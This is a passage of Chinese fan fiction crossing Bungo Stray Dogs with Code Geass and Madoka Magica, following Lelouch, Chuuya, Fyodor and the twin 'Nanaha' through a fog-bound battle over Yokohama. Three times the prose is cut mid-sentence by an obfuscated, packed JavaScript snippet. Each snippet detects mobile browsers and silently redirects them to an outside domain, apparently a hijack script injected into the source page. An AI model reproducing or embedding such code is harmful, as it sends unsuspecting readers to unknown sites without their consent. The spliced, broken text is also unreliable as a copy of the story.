“我确定，你不用担心他发现蹊跷后会放弃许愿。”鲁路修眼睛一弯，“【七羽】会让他许愿的。” 41.污浊了的忧伤中 “哼哼哼～” “没了翅膀的小鸟终于找到了它的天空——” “它从属于它的天空坠落——” “越来越远——” …… “你很闲吗？” 福地樱痴额头爆出一条青筋，他此时正站在骸砦的顶层，旁边除了呼啸的夜风就是不成调子的奇怪歌声。 晃着脚半边身体都悬在外边的果戈里扶了扶自己被风吹歪的礼帽，侧过头用覆盖着扑克面具的半边脸冲着他们名义上的首领。 “当然啦，毕竟这次的剧目主演不是我。”果戈里嘴角上扬了一个大大的弧度，似乎是想到了什么令他开心的事，果戈里眉眼弯弯，笑容夸张，“时间是不是要到了？” 远方的天空被密集的橘色流光所割裂，震耳的轰鸣声伴随着无声的哀嚎奏响了戏剧的开幕。 福地樱痴和果戈里的目光同时投向下方，只见浓郁的夜色中，有两道身影由远及近，目标明确的走向他们所在的骸砦。 “你的老朋友来了。”果戈里一跃而起，风卷起了他身后的斗篷，把他整个裹了进去，“为了剧目的节目效果，可不要手下留情啊，神威。” 斗篷扬起，方才还站在福地樱痴身边的小丑融进了夜色，消失在了原地。 而被他警告的对象则专注的注视着下方愈来愈近的两人，待他们的面容被昏暗的路灯照亮，福地樱痴抿平的唇线才稍稍放松了些许。 他看到了那个身着和服的熟悉身影。 “……与计划无出入，准备开始执行。” 说完这句，福地樱痴取下耳麦，面无表情的用脚把耳麦碾成了金属碎屑。 附近接连传来战斗爆发的声音，枪/声中夹杂着虎啸，可五分钟过去了，福地樱痴都能清晰的看见福泽谕吉板起来的严肃脸孔与他腰间的长刀了，某个才警告他的家伙都没有依照计划引走福泽谕吉身边的人。 “戏剧性的发展不就是命运中最令人着迷的部分吗？” 福地樱痴都能想到，面对可能的责问，某个入戏了的小丑会用怎样的语气来回答。 索性他从来就没相信过这家伙。 福泽谕吉和芥川龙之介的身影消失在入口处，持刀而立的福地樱痴重新把目光投向远方的战场，随着时间一分一秒的流逝，他眉心间的距离也一点点缩短。 最后当所有的吸血鬼脱离掌控的那一刻，福地樱痴深深地皱起了眉头。 哪怕早就知道他们五个人的组织得有指数倍的心眼和背刺，但魔人费奥多尔的选择还是令他感到了深深地不解。 “福地。” 身后传来了熟悉的声音，福地樱痴回过头，迎接他的是昔日的好友拔刀出鞘的声音。 “你来了。” 没有闲暇再去思考旁的事情了，福地樱痴的目光完全集中在了应邀而来的福泽谕吉身上。 很好，行到顶层的只有银狼一人。 福地樱痴露出了一个令武装侦探社社长感到熟悉的爽朗笑容，他迈开步子迎了上去，利落的长靴踢开了不知何时缠绕上脚踝的薄雾，踏在地上发出铿锵有力的声音。 肆虐了一夜的寒风停了，在皎皎月色下，蒙蒙雾气在不知不觉间悄然笼罩了整个横滨。 在异能特务课响做一堆的各类警报中，标志着异能力强度的某个数值“咻”的越过了临界点，给乱糟糟的指挥室又添上了一道刺耳的警报。 但无论是值守的坂口安吾还是辻村深月，都在全神贯注观察着主战场的情况，只偶尔在代表白麒麟的黄色光标移动时才会分过去一点儿注意力。 他们当然没有忽视突然响起的警报，但在魏尔伦报备了圣剑与布拉姆的存在，以及鲁路修卡准时机对杀之不尽的吸血鬼大军使用了异能力后，异能特务课的两人不约而同的把警报来源当成了鲁路修的异能力。 只有猫在后面摸鱼的绫辻行人抬了抬眼皮，往屏幕中笼罩得薄雾看了一眼，可很快他就移开了视线，全然没有提醒辻村深月与坂口安吾的意思。 直到通讯和监控画面同时中断，留守异能特务课的两人才意识到战场上发生了预料之外的情况。 “怎么回事？通讯突然断了？” 和坂口安吾断开连接的中原中也用中指指节扣了扣耳麦式通讯器，里面原本在电子云被军警的远程火力烧穿后就清晰无比的通讯又变成了一团嘈杂的噪音。 “看下面！” 并没有因为突发状况分神的鲁路修第一时间发现了异状。 “这是……布拉姆的异能力失控了？”经鲁路修提醒，向下看去的中原中也也发现了不对。 下方的吸血鬼大军突然凝滞了，无数红色的光点从他们身上飞出，随着光点的析出，属于吸血鬼的可怖獠牙与血色的虹膜都在飞速恢复正常。 而那些萤火虫一样的光点原地盘旋了一会儿，最后不约而同的飞向了同一个方向。 中原中也沉声道：“那是港/黑大楼的方向。” 说话的同时他还在调试着频道，最后中原中也的蓝眼睛缓缓眯起，通讯器在纤长的食指敲击下裂开了一道蛛网样的裂痕。 “应该是这个雾有古怪。”鲁路修抬手挥开面前的雾气，可这团来历不明的雾气并没有随着气流浮动，反而还有越来越浓厚的趋势。 “红叶大姐的异能力失控了。”雾气影响了视野，中原中也带着鲁路修开始下降，“我去帮红叶大姐，趁着那帮眷属不能动，你先把他们控制起来，雾气再浓你的异能力就要受到限制了。” 异能力失控？ 鲁路修的目光依次在几个关键地点流转，最后隐秘得瞥了一眼笼罩在自己身上、接管了自身重力的红芒。 他的“异能力”没失控是因为他压根没有异能力，但中原中也为什么没事？ 而且那些从吸血鬼眷属身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787742|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上浮现出来的光点，以及他们恢复了正常的体貌…… 这感觉不像是异能力失控，反而像是异能力抽离啊？ 等一下，抽离？ 【那L.L.，你把Code给我好不好？】 冒牌七羽曾向他提出的强求从鲁路修的记忆里冒了出来。 难道说，七羽提出的这个强求不仅仅是因为怕他身负两种“异能力”的事情暴露，还是因为Code是连接C世界的钥匙？ 如果异能力被抽离后会形成一个独立的个体，恢复异能力的本质，那Code要是展现出来呢？ 不，在此之前…… 七羽的身体里同时存在着两个人，如果这个雾气能够对异能力进行剥离…… 鲁路修反手扣住中原中也的手腕：“不！我们回港/黑大楼！现在、立刻、马上！” 但他晚了一步—— 浓雾笼罩的横滨，有什么不可名状的存在蠕动着缓慢的聚合，并在此时达到了聚合的临界点。 中原中也向下疾驰的身影定格了，他僵硬的转动着脖颈，想要转过身去。 就在他看向港/黑大楼的一瞬间，重力使蓝色的瞳孔快速收缩了一下。 漆黑的夜色中，黑色丝线编织而成的巨茧正在缓缓打开，里面所孕育的【东西】剥开了由无数哀嚎人面聚集成的黑丝想要爬入现世。 中原中也产生了幻觉，他看到曾经被自己用重力碾碎的叛徒从泥沼中探出只剩下骨骼的双手，拼命拉着自己往泥沼深处陷去。 【来陪我……】 【来陪我！】 层层叠叠的呓语声从大脑深处传来，模糊朦胧却足够令人发疯。 中原中也失神了几秒，待他重新恢复神智，才惊觉他和鲁路修已经马上就要接触地面了。 而重力操控却在他被魇住的时候失效了！ 千钧一发之间，重力重归中原中也的掌控，他踩碎由丝线凝结成的怨魂——这些怨魂都有着一张他所熟悉的脸。 全部都是死于他手的敌人。 看着围困住他们的怨魂大军，中原中也忍不住爆了粗口：“艹，你这家伙是干掉过多少人？！” 早就清醒过来的鲁路修厌恶的拂开缠绕在身上的丝线，“抱歉，形势所迫，灭过那么几个国家吧？” “……几个国家？” “也可能是十几个，或者几十个？” *** 无我之爱的永恒牢笼之内，七羽茫然的睁开了眼。 【这是哪？】 【我已经死了吗？】 【“七羽”呢？】 连记忆与自我认知都破碎的思维深处，响起了一个七羽感到熟悉，却无法识别的语言。 [系统……滋滋……] [……重新连接……] [系统重连成功] [管理员：银庭之主接入成功。] 42.污浊了的忧伤中 夜幕中的港口Mafia大楼熄灭了所有的照明，黑洞洞的五座大楼伫立在黑暗中，顶层更是融入了浓浓的夜色。在这个整个横滨都热闹了起来的夜晚，港口Mafia这个横滨的三大异能者势力的龙头却格外的安静。 【七羽】就是在这一片寂静的黑暗中听到了来自隔壁的响动。 先是有人扛着某个重物进入了隔壁的房间，接着是锁链碰撞的哗哗声与模糊不清的交谈声。 【七羽】端正的跪坐在巨大的落地窗前，目光投向已化作“火海”的战场，隔壁关于吸血鬼与圣剑的话题已经告一段落，来人重新关合了房门，厚重得地毯吸收了皮鞋踩地发出的绝大部分声响，【七羽】只能听到微弱的闷响由近及远，最后消失在电梯的方向。 原来这栋大楼没有停电啊。 【七羽】歪了歪头，灰蓝色的瞳孔直直的看着玻璃上倒映出的自己。 那并不是自己真正的样子，也不是【他】真正的样子。 在自己不在的这段时间，【他】似乎遇到了很多人，结下了很多的羁绊。 【七羽】目光几次变换，最终还是没有做额外的事情。 五分钟后，当雾气开始弥漫，一直保持着一个姿势不动的【七羽】缓缓起身。【她】就像是真正的女孩子一样，整理了一番自己的仪表，确认没有因为长时间的跪坐而令衣裙产生褶皱后，才对着玻璃窗尝试性的露出一个微笑。 最开始的笑容还略微僵硬，等三五次的练习后，【她】才满意的从落地窗前离开。 “嘎吱。” 接连的两声房门开合声，【七羽】站在了隔壁的空屋中。 这一间和他们房间布局相同的套房内清空了所有家具，粗/重的铁链用结实的铁锥固定在了四方的墙体上，铁链缠绕的正中心则是一口造型古朴的棺材。 安静到落针可闻的房间里，【七羽】听到了另一个清浅而均匀的呼吸声。 【她】几步来到棺材的面前，右手轻轻搭在锁住棺材的锁链上，难以视物的黑暗中，被【她】所触碰的那部分锁链就像一副因为信号缺失而接触不良的画面。 雪花一样的白色噪点在锁链冰冷的金属色泽上明灭闪现，像旧照片一样的昏黄色泽从四个角落向着中央蔓延。待那象征着末路的昏黄爬过后，被黑暗掩盖住的房间悄无声息的失去了自己原本的色彩，变成了象征着腐败的灰白色。 那看似坚不可摧、只能用钥匙打开的层层锁链就这么在噪点的侵蚀下被凭空扭曲、抹去了。 “咣当。” 没了碍事的锁链，【七羽】推开了棺材沉重的上盖，视线正巧对上被关押其中的吸血鬼那双红瞳。 “我来履行约定了。”【七羽】握住圣剑的剑柄，【她】没有立刻拔出插/入对方脑干的圣剑，而是很认真的进行了最后询问，“你确定要这么做吗？” 被福地樱痴用圣剑囚/禁在棺材中的布拉姆无法转动头颅，那自只剩一半的躯体下穿透所剩残躯的圣剑，让他的每一次呼吸都会遭受常人难以忍受的苦痛，但他只是平静的看着推开自己棺盖的【七羽】，“你说过，只要我答应你的条件，就能获得一个得到答案的机会。” “是这样哦。”【七羽】点头，“但也仅仅只是一个机会，能不能抓住还是要看你自己的，要是你还是被抓住，像现在这样被做成了生产不死军队的工具，我可不会去救你哦？” “这样就够了。” 得到了答复的【七羽】不再做声，沉默的开始用力，尝试把沉重的圣剑从对方的身体里拔出来。 这把剑已经嵌入了布拉姆身体里太长的时间，吸血鬼的自愈力让剑身被反复重生愈合的血肉紧紧咬合，无缝和布拉姆身体中的各个器官交融在了一起，形成了新的体内结构。每拔出一寸，吸血鬼的血液就源源不断的从嵌合处泵出，在染红了【七羽】双手与振袖的同时，于棺材底部汇聚成了一汪由鲜血组成的浅浅血池。 “我能问你个问题吗？”圣剑只余一寸时，一直表现得很安静的布拉姆突然开口。 【七羽】给了他一个眼神，示意他想问就问。 “你为什么能为了【他】做到这一步？”因为异能力的原因，布拉姆对活着这件事本身感到了深深地困惑，只在被绑上火柱时对自己的失败人生产生过真切触动的吸血鬼凝视着【七羽】，“为什么你们明明活得这么痛苦，却还是要全力以赴？” 懒散一点不好吗？ 得过且过一点不好吗？ 随波逐流不好吗？ 连被关在棺材中的日子都早已习惯，每日都能安稳入睡的布拉姆不理解。 福地樱痴是这样，眼前的孩子也是这样。 可偏偏不知道为什么，当【七羽】第一次出现在他面前时，他鬼使神差的同意了对方的交易。 为什么？ 布拉姆等待着对方的回答，企图从中找到对方吸引到自己的根源。 “痛苦？”【七羽】一脸“你怎么会这么想”的表情，“■■是我的半身，我的哥哥，我们自母体诞生的那一刻起就形影不离。” 【七羽】露出一个毫无阴霾的天真微笑：“【他】就是我的全部，【他】的一切本就应该系于我身，而我的一切也自当尽数归属于【他】。” 像是想到了极其开心的事，【七羽】的双眼明亮极了，“你看，哪怕【他】记忆中的我随着因果的逆转消失了，【他】的本能却还记得我。” 在布拉姆不理解的目光中，【七羽】幸福的捧住了脸，暗红的血粘上了白皙的脸颊，顺着下颌线滑落到衣领内。 “【他】用着我的脸孔，用着我的因果，【他】甚至称呼自己为七羽。” 真正名为【七羽】的少女笑弯了眼睛。 “■■他啊，哪怕什么都不记得了，却会用自己的存在来记录我存在过得事实。”【七羽】反问躺在棺材中的吸血鬼，“所以为了【他】，我什么都会做。” 不再给布拉姆开口的机会，面带甜美微笑的女孩儿干脆利落的抽出了圣剑。 “睡个好觉，吸血鬼先生，下次可不要再相信我了哦？” 布拉姆张了张口，伴随着圣剑的脱离，他能感觉到自己的异能力细胞重新开始活跃，只剩下头颅与肩膀的残破躯体在飞速重构，可与此同时，身体里应该储存着他的“存在”的某个地方却在被飞速覆写。 他的人格正在解离，意识逐渐模糊，连视野中近在咫尺的【七羽】都产生了复数的虚影。 重新生成的右手扼上了布拉姆自己的咽喉，可连福地樱痴都没能真正的消灭他，仅凭原始的窒息根本不可能扼杀掉正在接管自己思维与身体的篡夺者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792305|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……被骗了……吗？ 意识陷入虚无的最后时刻，布拉姆回想起了他第一次见到【七羽】的情景。 再见。 布拉姆已经发不出声音了，他用最后的力气向【七羽】做着口型。 我会等你来赴约。 …… “看来计划进展得很顺利。” 刚刚通过【罪与罚】从布拉姆身上重生的费奥多尔坐起了身。 他身上衣服与棺材底板接触的地方浸了血水，血水在冬日的低温中快速带走了身上的热度，让本就因为身体不好的魔人看上去更显虚弱。 “你就是魏尔伦所说的‘书’？”费奥多尔看着眼前“一派天真”的【七羽】，嘴角扬起一个稳操胜券的弧度，“我是来向你许愿的。” 身量超出【七羽】一头多的魔人从棺材中跨了出来。 “我想让这个世界再无异能力者。” 他毫不避讳的说出了自己真正的愿望。 【七羽】没有立刻回应，似乎是在根据他所许下的愿望判断应该索取怎样的代价。 片刻后，【七羽】提出了第一个强求。 “可以给我你的理性吗？” “我拒绝。” …… “可以给我你的存在吗？” “我拒绝。” …… “可以给我你的人性吗？” “我拒绝。” …… 在三次拒绝后，房间内的强求并没有结束。 “可以给我你的理想吗？” “原来最重要的是理想啊？” 费奥多尔看上去罕见的有些开心，这样的组成成分似乎取悦到了他。 但他还是说出了最要命的第四个拒绝。 “我拒绝。” 【七羽】面无表情的看着地上的尸体，在费奥多尔连续四次拒绝掉【她】的强求死亡后，这具身体就恢复了原本的样子。 银发的吸血鬼安详的躺在冰冷的地板上，与他的表情相对应的，他的四肢与头颅呈现出诡异的扭曲。 【七羽】蹲下身，红色的巫女裙和地上的血和谐的交融在了一起。 【她】帮布拉姆重新摆正了头颅与四肢。 “真是个笨蛋呢。” 【七羽】叹了口气，这句“笨蛋”也不知道到底是在说轻信于【她】才丧命于此的吸血鬼，还是在说对自己异能力过于自信的魔人。 “好羡慕他呀，第一个见到■■的居然不是我。” 雾气终于蔓延到了港/黑大楼的最高层。 【七羽】席地而坐，耐心等待着最后时刻的到来。 但通过异能力进入了【她】身体的费奥多尔就没有【她】这般冷静了。 看着面前无法言说的不可名状物，妄图通过强求来被【七羽】杀死，从而顺理成章取代【七羽】的魔人沉默了。 第一次，多年以来第一次，眼前的情况超出了他的掌控。 ——那是本不应显现，却因Pretender（伪装者）自主选定的伪装目标而显现于世的绝望。 亚路嘉与拿尼加的一体两面解放了七羽身上堆积的扭曲因果。 在费奥多尔的面前，【魔女】缓缓垂下了头。 【■■正在注视你。】 43.污浊了的忧伤中 无法理解。 眼前的东西并不是所谓的“书”，也不是异能力或者特异点。 费奥多尔仰望着茧中垂眸的【魔女】。 祂深蓝的长发倾泻而下，与黑色的丝线一同遮挡住了【魔女】的全身，唯一露出来的上半张脸上，对方双目的上下眼睑被密密麻麻的丝线紧密得缝合在了一起。 明明祂应当是看不见的，但费奥多尔却有一种被从头到脚彻底看透的错觉。 “是人类。” “是人类。” “是人类！” 怪异的声音从布满了整个空间的黑色丝线中传来。 稚嫩的声音与苍老的声音重合在一起，温柔的低喃与憎恶的怒吼相互叠加，各式各样的声音层层叠叠，当第二声刚刚响起，第一声就已经在这失去了距离概念的空间荡了回来。 于是声浪一层紧接着一层堆积，直至塞满费奥多尔整个大脑。 这里不对劲。 费奥多尔相信自己对情绪的把控能力，如果不是拥有着超绝的自制力，他不可能一步一步走到如此接近梦想的今天。 但现在他却能感觉到自己正在失控。 周围不断回响的声音不知从何时起演变成了陌生的语言，费奥多尔分辨不出这语言的出处，可他的大脑却能够跳过对语言本身的解析，直接理解其中的含义。 好想死…… 好痛苦…… 以为不可能产生的绝望情绪蚕食着他的存在，轻若无物的丝线温柔的环绕着他，筑巢一样为他编织着永恒的牢笼。 理智在摇摇欲坠。 一缕丝线从他面前垂下，一错而过的目光交汇，费奥多尔和丝线上呐喊着、挣扎着的可怖五官直接打了个照面。 费奥多尔瞬间清醒了过来。 他伸手扒开丝线组成的茧房，手掌与丝线接触的皮肤传来被啃咬的痛感。 在这种情况下，连疼痛都变得可爱了起来。 这至少证明了他还没有被同化，他还是一个正常的人类。 他的双腿被禁锢，双手仅能撕开一个传递声音的裂缝。 来不及了。 没有启动应急预案的时间与机会了。 最终，费奥多尔停止了无用的挣扎，他深吸了一口气，苍白的脸上带着孤注一掷的决绝。 “我要许愿！” ——丝线停滞了。 容纳了费奥多尔的【七羽】在外界笑了出来。 她心情很好的帮布拉姆收敛了尸体，重新扣上的棺材又恢复了之前的样子，除了消失的锁链之外，这间房间和最开始没什么不同。 哦，除了消失的颜色之外。 不过很快，象征着腐朽的灰白上就飘落了一层柔软的漆黑鸦羽。 “你来啦。”【七羽】转过身，看着落地窗外随着羽翼舒展开而显出身形的恶魔，“好久不见，小焰。” “你果然躲在■■的因果里苟延残喘。”被失效的系统紧急呼叫的银庭之主露出厌恶的表情，“我们很熟吗？我不记得我有允许你叫我的名字。” 【七羽】脸上的笑容扩大，隔着一面坚固的玻璃，她毫无阻碍的接上了对方的话，“你真是一点没变呢，焰魔。” 被【七羽】称为焰魔的晓美焰完全没有叙旧的兴致，被迫从世界之外的银庭降临，她每多停留一秒，风险就会增大一分。 “我没空和你闲聊，更别说你只是【七羽】的残渣。”黑色羽翼收敛，晓美焰撩开被夜风吹到眼前的长发，紫色的眼睛紧紧盯着玻璃另一头的【七羽】，“滚出■■的因果。” “啊咧咧？滚出去？”【七羽】歪头，食指轻点下唇，假做困惑的模样，“我还以为你是理解我的。” 她拉长了语调，意味深长道：“毕竟我们是同一类人。” “愿意背负任何罪恶，变成何种模样都欣然接受。” 【七羽】说这话时神色温柔却病态。 “只要能和祂永远在一起，无论是痛苦还是绝望都甘之如饴。” 她用唱歌一般的口吻念着晓美焰曾说过的话，女孩儿淡粉色的唇轻轻开合，“不是吗？” “谁跟你一样了？” “当然是你和我呀。” 【七羽】微微张口，从那一道裂开的缝隙中能清晰的看到有什么无比浑浊而污秽的色彩在快速增殖，直至完全改写这具属于七羽的躯壳。 “污染了我们灵魂宝石的从来都不是诅咒。” 属于亚路嘉的特征正在消融，由阿赖耶亲自施加的抑制力骤然减弱。 “比希望更炙热，比绝望更深邃。”* 浑浊的青大片大片吞噬咀嚼着由Pretender（伪装者）生成的伪装，【七羽】伸出双手，曾被鲁路修捧在掌心的天青色水晶再次显现。 “我们是因为爱才走到了这一步啊。” 远处的战场有震耳的爆炸声传来，冲击波震起的风压以主战场为中心，扩散向了整个横滨。 玻璃碎裂了。 狂风卷起了深蓝的长发，烟尘散尽，伪装尽数消失，恢复了原貌的【七羽】笑吟吟的站在了银庭之主的面前。 除了眼下的三颗水晶，与七羽双生的她简直和七羽别无二致。 明明是一模一样的面容，但当这张脸以少女的姿态呈现于世时，却多出来了一种魔性而又矛盾的美。 她就像本不应存在、本不容于世的某种异物，眼角眉梢尽是溢满的非人感。 晓美焰凝视着下方的【七羽】，滴答滴答走着的时间“咔嚓”一声停止了前进，在这个只属于晓美焰的时停世界中，她抬起右手，凭空出现的手/枪压得纤细的胳膊一沉。 对着【七羽】的眉心，晓美焰毫不犹豫的扣下了扳机。 鲜血飞溅，重新流动的时间拥抱住倒地的【七羽】，白色的雾把她吞了进去。 “真是不留情面。” 【七羽】的声音自雾中传来。 她缓缓从地上爬起来，眉心的贯穿伤没有一滴鲜血。 “起雾了，在我这里浪费时间真得没关系吗？” 【七羽】把手中天青色的灵魂水晶贴上脸颊，在她话音落下的同时，黑色丝线突兀得充斥了整个空间，并飞速向外扩张，直至遮天蔽日。 “你们一直都在观测哥哥，可你们谁都没有出手救救他。”【七羽】叹了口气，“所以啊，你们都该死。” “这话同样送给你。”晓美焰在脸侧轻轻击掌，无差别攻击的丝线停在了距离她一米的地方，“一切威胁到那孩子的，都该死。” “我好怕哦？”【七羽】咯咯笑起来，“怎么，还要在这继续浪费时间吗？不让哥哥恢复原状，你的圆环之理会困扰吧？” “我是没什么所谓啦。”【七羽】说，“哥哥以什么样的形式存在我都爱祂，但小焰你希望那孩子人类的一面能幸福吧？” 话是这么说，但【七羽】却露出了不屑一顾的表情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797633|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人呐，太贪婪就会束手束脚。 恶魔也是如此。 看着晓美焰果断转身，【七羽】贪恋的看了一眼被白雾影响，从自己身体里分离出去的■■。 “你还是这么可爱。”她远远用目光描摹着已经彻底魔女化的七羽，“居然会把自己当成我……” 【七羽】顿住了。 银庭之主的羽翼遮住了所有的光亮，同时也阻断了【七羽】的视线。 她不甘心的最后看了一眼，旋即也向着相反的方向转身，在她的正前方，是和七羽同时被白雾拉出的费奥多尔。 “我们来做个交易吧？” 【七羽】脚步轻盈的来到勉强撑起上半身的魔人面前，她伸手理清了对方被汗水打湿后黏在脸颊上的发丝，没有活到变声期、永远停留在了14岁的女孩儿柔声说。 “由我来实现你的愿望。” 她托起对方淌着冷汗的下颌。 “由你来承载我的因果。” *** 主战场。 “那就是白麒麟？”身陷怨魂大军的鲁路修眺望着穿梭在雾气中的深红巨龙，深切的怀疑自己的人物卡上是不是有隐藏的“屠龙勇者”属性，“还是说那是他分离出来的异能力？” “你问我我问谁？”中原中也烦躁的调试着无线通讯，顺带一跺脚，地面的碎石化作杀伤力惊人的凶器，扫荡了他们周围一圈的怨魂。 “滋滋……能听到……” 两人同时看向了不远处的喇叭。 雾气影响了无线电的传输，但是有线频道却还能勉强运转，横滨街头那些八年前大战后遗留下来的扩音喇叭，在退役多年后又重新派上了用场。 “能听到吗？中也君？” 这些年随着城市的发展，横滨的居民们嫌弃这些老古董跟不上时代，好几次都有人投诉要求重做城市市容规划，去掉街道上架着的战时广播大喇叭。 当时坂口安吾也听邻居念叨过，而现在，坂口安吾却万分庆幸上面抗住了压力，给了他一个挽救横滨的可能。 “涩泽龙彦失控了！那条巨龙是由他异能力形成的特异点！” “我们……滋滋……” “……滋滋……需要消灭……” 通讯断断续续，但已经不妨碍鲁路修和中原中也理解现在的情况了。 “真会使唤人。”中原中也不爽的骂了一句，随后看向鲁路修，“你呆在这，我自己过去。” “你自己？”鲁路修疑问，“正常来讲，特异点是无法被异能力者破坏的吧？” 至少异能特务科的资料库里是这么写的。 异能力者和特异点是两个完全不同的量级。 “你以为站在你面前的是谁？”中原中也反手握拳，用拇指指了指自己，“要是连我都办不到，这个世界上也没人能办到了。” “我开始有点喜欢你了。” “那还真是抱歉，你正好是我讨厌的类型。”中原中也从后腰的枪袋里摸出一把马卡洛夫，潇洒的往鲁路修怀里一丢，“在我干掉那条龙前，可别死了。” 鲁路修发出一声轻笑，他打开保险栓，确认了一番里面的弹药，“异能特务科里的资料有提到过你，编号A5158。” 枪/口对准袭来的怨魂。 “放心吧。” 一枪爆头，鲁路修稳住被后坐力震到有些发麻的手臂。 “我会准时停下污浊的。” 44.污浊了的忧伤中 局势不容乐观。 鲁路修努力喘着气，哪怕是再多的战斗经验都改变不了体力上的劣势。周围的怨魂干掉了一只又一只，中原中也丢给他的那把马卡罗夫早就打光了子弹，现在他用来防身的是直接从战场就地取材的冲锋枪。 他当然可以对围攻他的怨魂使用Gease，雾气大大削弱了他Gease的生效范围，这使得善于以小博大的鲁路修来不及把雪球滚大，手上的筹码就被怪海吞没了。 数量上的差异实在是太大了。 鲁路修已经不知道第多少次对突到了脸前的怨魂施加Gease了，可还不等这只听命于他的怨魂调转刀口，它就被后面的同伴撕碎了。 大概是超过了身体承受的极限，鲁路修眼眶酸涩，双目像被烈火灼烧一般疼痛难当。 他从没在短时间内如此频繁的使用过Gease。 温热的液体自眼内流出，他的视野被染成了一片猩红。 远方属于中原中也的战场传来了惊天动地的动静，以凡人之躯行使神明之力的重力使直接接管了横滨的大地。 鲁路修被余波带得一个趔趄，差点就眼前一黑直接栽倒在地，但最终他还是杵着枪/杆稳住了跟脚，再抬起头时，双眼再次维持在了Gease的状态。 他别无选择。 掌心下的枪膛烫得惊人，除非他想死于炸膛，不然在枪/膛冷却之前，他只能把冲锋枪当撬棍使。 这样下去不行，他必须得找个制高点，利用远方中原中也造成的冲击波，借着雾气短暂散开的机会大范围的使用Gease。 而且…… 鲁路修甩了甩头，把眼眶中的血水甩掉。 他看向另一处更加凶险的战场。 ——他必须想办法前往中原中也所在的位置。 无线电静默，异能特务科分身乏术，失去了Code的他有且只有一次机会。 不知疲惫、不知畏惧，被怨恨支配的怨魂扑了上来。 可他真得连动一动手指的力气都没有了。 肢体重若千钧，但鲁路修还是本能的抬起手按向了自己的心口。 掌心之下，那枚还没来得及送出去的戒指硌痛了他的手心。 “哦呀哦呀，看来我来得正是时候。”轻佻的陌生声音突兀响起，鲁路修因为运转过度而当机的大脑延迟了几秒才反应过来。 看着借着异能力的便利突入战圈，出现在自己面前的陌生异能力者，浸透鲜血、一身狼狈的鲁路修强迫自己打起精神来。 现在还不到放弃的时候。 “你是……天人五衰的异能力者。” 瞬移类型的异能力，异能特务科如果有这种底牌肯定早就拿出来了，而以中原中也的性格，也不可能藏这么一手。 ——送过无数人踏上战场的鲁路修能分辨得出，中原中也那家伙临走前真的是抱着赴死的觉悟。 “看来那家伙没骗我，你的确很聪明啊。”果戈里没头没脑的一句话让鲁路修联想到了很多。 从最开始的违和感串成了线，指向了一个不可思议的可能性。 鲁路修低声喃喃：“原来是这样……” 竟然是这样…… 他在这一刻明悟了一件事。 如果说横滨和天人五衰之间关于计谋上的博弈是一场没有硝烟的战争，这场战争或许很早就开始了，早到他和七羽刚刚到来却又没有到来的时候。 某个付出了沉重代价换取未来可能性的家伙，一直隐藏在背后操控着一切发展的走向。 在异能特务科那庞大的资料库中，拥有这种能力，能做到这一切的人…… 排除掉一切错误答案后，哪怕再荒谬，都只能是正确答案。 鲁路修遥遥眺望着被黑色丝线彻底吞噬的港口Mafia大楼，自修奈泽尔死后，他已经很久很久没有遇到这么旗鼓相当的棋手了。 真可惜，没有来到他活着的时候。 “既然你把中也君交给了我，那我可就不客气的收下了。” 鲁路修用只有自己能够听到的声音，与那个已经不存于世的人进行了一场跨越时间与因果的交接。 “啊？你说什么——” 果戈里用异能力带着鲁路修在怨魂组成的海洋中穿梭，每一次闪现都需要对落足点进行精准的判断，而留给他选择的间隙却很短，不擅长计算的果戈里完全是凭借着与生俱来的战斗本能在死亡的边界线走钢丝，在这种时候还要求他一心多用，实在是有些为难。 “我说——”鲁路修顶着风声与爆破声大喊，“为什么你的异能力没失控——” “你不是很聪明嘛，你猜？” 啧，看来这位不是被策反，而是出于个人目的，才和中原中也那位前首领达成了一定限度上合作。 怎么感觉天人五衰这个组织每个人不仅目标不同，甚至还相互冲突？ “你的移动范围不够。”鲁路修报出一个坐标点，“去这里！” 他们来时的运输机的确是坠毁了，但鲁路修记得原定给他们迫降的应急机场还停着一架修理中的武装直升机。 果戈里果断改变了目的地。 “指挥官，你好像没有预留飞行员？” 抵达目的地后，看着半毁的机场，果戈里松开擒着鲁路修的右手，绕着还没撤下检修车的直升机观摩了一圈，才向鲁路修问道。 被松开的鲁路修登上了驾驶席，“飞行员？当然有。” “勇气可嘉。”果戈里吹了声口哨，“这种情节里，你们一般都会说什么？祝君武运昌盛？” “不。”鲁路修打开总开关启动发动机，直升机的螺旋桨开始转动加速，他冲果戈里扬了下眉毛，“我们不说废话。” “哒！” 操纵杆被拉到了底。 远处的红色巨龙发出悲鸣，臣服在了重力之下，已成废墟的机场中，唯一的武装直升机拔地而起。 希望赶得上。 不，必须赶得上。 